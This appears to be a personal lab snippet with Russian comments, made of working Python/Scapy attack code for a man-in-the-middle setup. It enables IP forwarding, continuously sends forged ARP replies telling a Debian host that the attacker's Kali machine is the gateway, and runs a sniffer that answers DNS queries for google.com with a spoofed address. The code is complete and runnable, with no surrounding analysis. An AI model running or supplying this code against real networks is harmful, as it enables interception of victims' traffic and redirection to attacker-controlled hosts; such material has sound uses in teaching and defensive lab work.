Загрузка данных


sysctl -w net.ipv4.ip_forward=1

from scapy.all import *
import time

# Данные
target_ip = "192.168.30.12"  # Debian
gateway_ip = "192.168.30.1"   # MikroTik

def spoof():
    # Отправляем Debian пакет: "Я (Kali) — это Роутер"
    packet = ARP(op=2, pdst=target_ip, psrc=gateway_ip)
    send(packet, verbose=False)

while True:
    spoof()
    time.sleep(2)



from scapy.all import *

def dns_spoof(pkt):
    # Проверяем, что это DNS запрос (DNSQR)
    if pkt.haslayer(DNSQR):
        qname = pkt[DNSQR].qname.decode()
        
        # Условие: если запрашивают конкретный хост (например, google.com)
        if "google.com" in qname:
            print(f"[!] Перехват запроса для {qname}")
            
            # Собираем фальшивый ответ
            spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                              an=DNSRR(rrname=qname, ttl=10, rdata="7.7.7.7")) # Твой кастомный IP
            
            send(spoofed_pkt, verbose=False)
            print(f"[+] Отправлен фейковый IP: 7.7.7.7")

# Запускаем сниффер на интерфейсе Kali (например, eth0)
print("[*] Ожидание DNS запросов...")
sniff(filter="udp port 53", prn=dns_spoof)